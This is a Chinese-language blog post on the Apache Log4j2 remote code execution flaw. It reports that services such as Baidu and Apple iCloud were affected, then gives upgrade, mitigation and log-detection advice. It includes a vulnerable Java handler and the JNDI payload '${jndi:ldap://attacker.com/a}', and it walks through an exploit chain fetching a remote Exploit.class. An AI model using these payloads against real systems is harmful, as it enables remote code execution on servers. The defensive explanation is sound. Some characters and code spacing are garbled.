百度和蘋果疑似中招l(wèi)og4j2漏洞!
昨天,我發(fā)了文章《Apache Log4j2 被爆嚴重遠程代碼執(zhí)行漏洞!附修復教程!》后,閱讀量很快飆升到很高!然后今天還錄制了視頻,重現(xiàn)了這個漏洞。
具體的視頻可以到我的視頻號觀看。
話說,這次的漏洞影響面很廣(百度和蘋果已中招,后面有詳細截圖)。通過 Google 搜索引擎對依賴該組件的產(chǎn)品、其他開源組件分析,發(fā)現(xiàn)有 310 個產(chǎn)品、開源組件依賴了 Apache Log4j2 2.14.1 的版本。
根據(jù)網(wǎng)絡(luò)空間測繪系統(tǒng) Quake 探測的全網(wǎng)使用 Java 語言編寫的產(chǎn)品部署數(shù)量如下圖所示:

其中大量的項目使用了 Log4j2。
另外根據(jù)在國內(nèi) Java 開發(fā)的組件的部署量重點地區(qū)是北京市、廣東省、浙江省、上海市以及香港特別行政區(qū)。

目前該漏洞被利用不需要特殊的配置即可完成。
同時該漏洞的 POC、EXP 已公開,攻擊危害大,利用復雜度低,影響范圍廣。建議相關(guān)用戶及時進行修補更新,做好相關(guān)防護措施。

根據(jù)昨天各大網(wǎng)站上熱搜和網(wǎng)友的討論,有人發(fā)現(xiàn)百度中招了。

目前我再再百度上重現(xiàn),發(fā)現(xiàn)百度已經(jīng)修復了這個漏洞。

其他的已經(jīng)發(fā)現(xiàn)的有 Steam、Apple iCloud,百度等云服務(wù)和 Minecraft 等應(yīng)用程序容易受到這種攻擊。
任何使用 Apache Struts 的人都可能受到攻擊。在 2017 年 Equifax 數(shù)據(jù)泄露等違規(guī)事件中看到類似的漏洞被利用。
許多開源項目,如 Minecraft 服務(wù)器 Paper,已經(jīng)開始修補它們對 log4j 框架的使用。
蘋果公司漏洞在登錄框輸入 poc 代碼進行 dns 查詢:

dns 查詢成功返回代碼:


修復建議
參考我昨天的文章。
升級到最新版本:
請聯(lián)系廠商獲取修復后的官方版本:
github.com/apache/logging-log4j2
已發(fā)現(xiàn)官方修復代碼,目前已正式發(fā)布:
https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.15.0。
緩解措施:
禁止沒有必要的業(yè)務(wù)訪問外網(wǎng)。 設(shè)置jvm參數(shù) “-Dlog4j2.formatMsgNoLookups=true” 設(shè)置“l(fā)og4j2.formatMsgNoLookups=True” 系統(tǒng)環(huán)境變量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”設(shè)置為“true” 升級idk 11.0.1 8u191 7u201 6u211或更高版本 限制受影響應(yīng)用對外訪問互聯(lián)網(wǎng),并在邊界對dnslog相關(guān)域名訪問進行檢測。
流量查詢
攻擊者發(fā)送的數(shù)據(jù)包中可能存在”${jndi:}” 字樣,推薦使用全流量或 WAF 設(shè)備進行檢索排查。
攻擊者在利用前通常采用 dnslog 方式進行掃描、探測,常見的漏洞利用方式可通過應(yīng)用系統(tǒng)報錯日志中的javax.naming.CommunicationException、javax.naming.NamingException: problem generating object using object factory、Error looking up JNDI resource關(guān)鍵字進行排查。
人工檢測是否受影響
相關(guān)用戶可根據(jù) Java jar 解壓后是否存在 org/apache/logging/log4j相關(guān)路徑結(jié)構(gòu),判斷是否使用了存在漏洞的組件,若存在相關(guān) Java 程序包,則很可能存在該漏洞。

若程序使用 Maven 打包,查看項目的 pom.xml 文件中是否存在下圖所示的相關(guān)字段,若版本號為小于 2.15.0,則存在該漏洞。
若程序使用 gradle 打包,可查看 build.gradle 編譯配置文件,若在 dependencies 部分存在 org.apache.logging.log4j 相關(guān)字段,且版本號為小于 2.15.0,則存在該漏洞。

有漏洞的代碼示例
import?org.apache.log4j.Logger;
import?java.io.*;
import?java.sql.SQLException;
import?java.util.*;
public?class?VulnerableLog4jExampleHandler?implements?HttpHandler?{
??static?Logger?log?=?Logger.getLogger(log4jExample.class.getName());
??/**
???*?A?simple?HTTP?endpoint?that?reads?the?request's?User?Agent?and?logs?it?back.
???*?This?is?basically?pseudo-code?to?explain?the?vulnerability,?and?not?a?full?example.
???*?@param?he?HTTP?Request?Object
???*/
??public?void?handle(HttpExchange?he)?throws?IOException?{
????string?userAgent?=?he.getRequestHeader("user-agent");
????
????//?This?line?triggers?the?RCE?by?logging?the?attacker-controlled?HTTP?User?Agent?header.
????//?The?attacker?can?set?their?User-Agent?header?to:?${jndi:ldap://attacker.com/a}
????log.info("Request?User?Agent:"?+?userAgent);
????String?response?=?"Hello?There,?"
?+?userAgent?+?"!";
????he.sendResponseHeaders(200,?response.length());
????OutputStream?os?=?he.getResponseBody();
????os.write(response.getBytes());
????os.close();
??}
}
利用步驟
來自用戶的數(shù)據(jù)被發(fā)送到服務(wù)器(通過任何協(xié)議)。 服務(wù)器記錄請求中的數(shù)據(jù),包含惡意負載:( ${jndi:ldap://xttblog.com/a}其中 xttblog.com 是攻擊者控制的服務(wù)器)。該 log4j 漏洞由該有效載荷觸發(fā),服務(wù)器 xttblog.com 通過 Java 命名和目錄接口(JNDI)發(fā)出請求。此響應(yīng)包含注入服務(wù)器進程的遠程 Java 類文件(例如 http://www.xttblog.com/Exploit.class)的路徑。此注入的有效載荷觸發(fā)第二階段,并允許攻擊者執(zhí)行任意代碼。
由于此類 Java 漏洞非常常見,老外程序猿已經(jīng)創(chuàng)建了開源工具來輕松利用它們。
漏洞利用條件
運行易受攻擊 log4j 版本的服務(wù)器(如上所列)。
具有任何協(xié)議(HTTP、TCP 等)的遠程訪問端點,允許攻擊者發(fā)送任意數(shù)據(jù),端點中記錄攻擊者控制數(shù)據(jù)的日志語句。
漏洞復現(xiàn)
參考我的視頻號中的視頻講解!
